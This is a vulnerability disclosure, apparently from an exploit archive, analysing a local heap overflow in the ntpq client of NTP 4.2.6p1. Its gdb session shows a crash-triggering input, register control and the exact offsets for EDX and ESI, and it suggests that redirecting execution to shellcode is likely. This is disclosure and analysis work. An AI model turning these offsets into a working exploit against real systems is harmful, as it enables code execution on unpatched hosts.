Linux NTP query client 4.2.6p1 – Heap Overflow
Linux NTP query client v4.2.6p1 Heap Overflow vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ vendor: http://www.ntp.org/ software: http://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.6p1.tar.gz impact: minor/informational There is a local heap overflow in the ntpq utility client that comes packaged in ntp-4.2.6p1-2.fc13. Note: The binary is NOT suid/guid enabled on my system. Nonetheless, it provides some fun/interesting analysis. mr_me@pluto ~]$ yum list installed | grep ntp fontpackages-filesystem.noarch 1.44-1.fc13 @updates ntp.i686 4.2.6p1-2.fc13 @updates ntpdate.i686 4.2.6p1-2.fc13 @updates [mr_me@pluto ~]$ /usr/sbin/ntpq --version ntpq - standard NTP query program - Ver. 4.2.6p1 [mr_me@pluto ~]$ gdb /usr/sbin/ntpq GNU gdb (GDB) Fedora (7.1-34.fc13) Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-redhat-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/sbin/ntpq...(no debugging symbols found)...done. Missing separate debuginfos, use: debuginfo-install ntp-4.2.6p1-2.fc13.i686 (gdb) r Starting program: /usr/sbin/ntpq [Thread debugging using libthread_db enabled] ntpq> AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.. ***Command `AAAA {0x4ac} AAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.. 'unknown Program received signal SIGSEGV, Segmentation fault. 0xb7fab60d in el_gets () from /usr/lib/libedit.so.0 (gdb) i r eax 0xbffff32c -1073745108 ecx 0x0 0 edx 0x42424242 1111638594 < ---- full control ebx 0xb7fc5ac0 -1208198464 esp 0xbffff260 0xbffff260 ebp 0xbffff2c8 0xbffff2c8 esi 0x43434343 1128481603 < ---- full control edi 0xbffff32c -1073745108 eip 0xb7fab60d 0xb7fab60d <el_gets+45> eflags 0x10282 [ SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 pointers are everywhere, look @ esp, esp+0x4 and esp+0x10 we can see a pointers to some controllable memory: (gdb) x/5x $esp 0xbffff260: 0x0015b948 0x0015b948 0xbffff2c8 0x0012bd06 0xbffff270: 0x0015b948 (gdb) x/30x 0x0015b948 0x15b948: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b958: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b968: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b978: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b988: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b998: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b9a8: 0x41414141 0x41414141 0x41414141 0x41414141 0x15b9b8: 0x41414141 0x41414141 (gdb) bt #0 0xb7fab60d in el_gets () from /usr/lib/libedit.so.0 #1 0x0012c7b0 in ?? () #2 0x001196a3 in ?? () #3 0x0011978c in main () (gdb) disas 0xb7fab60d Dump of assembler code for function el_gets: 0xb7fab5e0 <+0>: push %ebp 0xb7fab5e1 <+1>: mov %esp,%ebp 0xb7fab5e3 <+3>: push %edi 0xb7fab5e4 <+4>: push %esi 0xb7fab5e5 <+5>: lea -0x20(%ebp),%eax 0xb7fab5e8 <+8>: push %ebx 0xb7fab5e9 <+9>: call 0xb7fa5469 0xb7fab5ee <+14>: add $0x1a4d2,%ebx 0xb7fab5f4 <+20>: lea -0x5c(%esp),%esp 0xb7fab5f8 <+24>: mov 0xc(%ebp),%edi 0xb7fab5fb <+27>: test %edi,%edi 0xb7fab5fd <+29>: mov 0x8(%ebp),%esi 0xb7fab600 <+32>: cmovne 0xc(%ebp),%eax 0xb7fab604 <+36>: mov %eax,0xc(%ebp) 0xb7fab607 <+39>: movl $0x0,(%eax) => 0xb7fab60d <+45>: mov 0x14(%esi),%eax 0xb7fab610 <+48>: test $0x2,%al 0xb7fab612 <+50>: je 0xb7fab6b0 <el_gets+208> 0xb7fab618 <+56>: mov 0x30(%esi),%edi 0xb7fab61b <+59>: mov %edi,0x4(%esp) 0xb7fab61f <+63>: mov %esi,(%esp) 0xb7fab622 <+66>: call *0x324(%esi) 0xb7fab628 <+72>: cmp $0x1,%eax 0xb7fab62b <+75>: mov %eax,%ecx 0xb7fab62d <+77>: jne 0xb7faba50 <el_gets+1136> 0xb7fab633 <+83>: lea 0x1(%edi),%edx 0xb7fab636 <+86>: cmp 0x3c(%esi),%edx 0xb7fab639 <+89>: jae 0xb7fab680 <el_gets+160> 0xb7fab63b <+91>: mov %edi,%eax 0xb7fab63d <+93>: mov %edx,%edi 0xb7fab63f <+95>: testb $0x8,0x14(%esi) 0xb7fab643 <+99>: jne 0xb7fab650 <el_gets+112> 0xb7fab645 <+101>: movzbl (%eax),%eax 0xb7fab648 <+104>: cmp $0xa,%al 0xb7fab64a <+106>: je 0xb7fab650 <el_gets+112> 0xb7fab64c <+108>: cmp $0xd,%al ---Type <return> to continue, or q <return> to quit--- The code access violates at 'mov eax, dword ptr [%esi+20]'. A this point, the EAX register can be controlled by setting a valid rw memory address into ESI+20. This will trigger a deference @ 0xb7fab60d and the value of whatever is contained within ESI+20 will written to EAX. The offset to controlling EDX is 1204 bytes and the offset to ESI is 1212 bytes. In summary, it is likley that the execution flow can be redirected to desired shellcode. ~ mr_me |